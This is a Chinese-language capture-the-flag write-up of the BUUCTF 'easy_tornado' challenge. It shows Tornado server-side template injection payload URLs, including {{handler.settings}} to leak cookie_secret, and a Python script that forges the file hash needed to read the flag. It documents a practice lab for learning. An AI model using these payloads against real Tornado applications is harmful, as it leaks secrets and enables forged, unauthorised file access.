1. 程式人生 > 其它 >非同步IO:async/await

非同步IO:async/await

BUUCTF提供環境,涉及tornado模板注入(SSTI),主要難點在於尋找cookie_secret,萬不得已下載了原始碼進行分析,但是分析過程蠻充實的。

[護網杯 2018]easy_tornado

首先第一個頁面:

開啟網頁發現了三個連結,一個一個點開檢視:

/flag.txt
flag in /fllllllllllllag

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

瞭解tornado:

tornado是個python語言下的模板

根據url中的引數filename和filehash,我們可以大體明白解題方向便是通過驗證訪問/fllllllllllllag

並且通過hint.txt,我們可以知道我們需要獲取cookie_secret來加密得到filehash

怎麼樣才能得到cookie_secret呢?

根據SSTI模板注入備忘錄進行簡單測試:

Tornado (Python):
{{7}}
${7*3}
{{7*7}}
{{"%'()*-/=[\]_|}}常見特殊符號

payload:

http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/error?msg={{7}}

當我們使用這條語句測試時,頁面回顯7

而當我們使用下面三條語句時,頁面回顯全都是ORZ,過濾了一堆常見符號

這裡嘗試一下能不能讀取配置檔案

payload:

http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/error?msg={{config}}

頁面回顯500:Internal Server Error

萬不得已,下載原始碼

基本操作不行,於是將原始碼下載後全域性搜尋cookie_secret

我們可以看到cookie_secret是handler.application.settings的鍵值

但是我們直接搜尋handler.application.settings我們找不到任何東西,所以這裡我們尋找handler

找到了一點線索,這裡先將RequestHandler型別賦值為self並且賦值給handler,RequestHandler和handler是緊密相關的。

於是我翻開了RequestHandler的宣告,裡面有句話

  """An alias for `self.application.settings <Application.settings>`."""

原來如此,那這樣便可以用handler.settings來訪問cookie_secret

payload:

http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/error?msg={{handler.settings}}

最後的md5加密:

filename: /fllllllllllllag

cookie_secret: 78115b4c-fc01-435c-98dd-3e86ed49221b

這裡可以直接手工用hackbar加密得到結果,也可以使用如下的指令碼進行加密

# _*_coding:utf-8_*_
import hashlib
hash = hashlib.md5()
![](https://img2020.cnblogs.com/blog/2617104/202111/2617104-20211104180856817-1706326752.png)


filename='/fllllllllllllag'
cookie_secret="78115b4c-fc01-435c-98dd-3e86ed49221b"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

最終的payload:

http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=bb3ba30eef4971be678e7acb48661755

得到flag: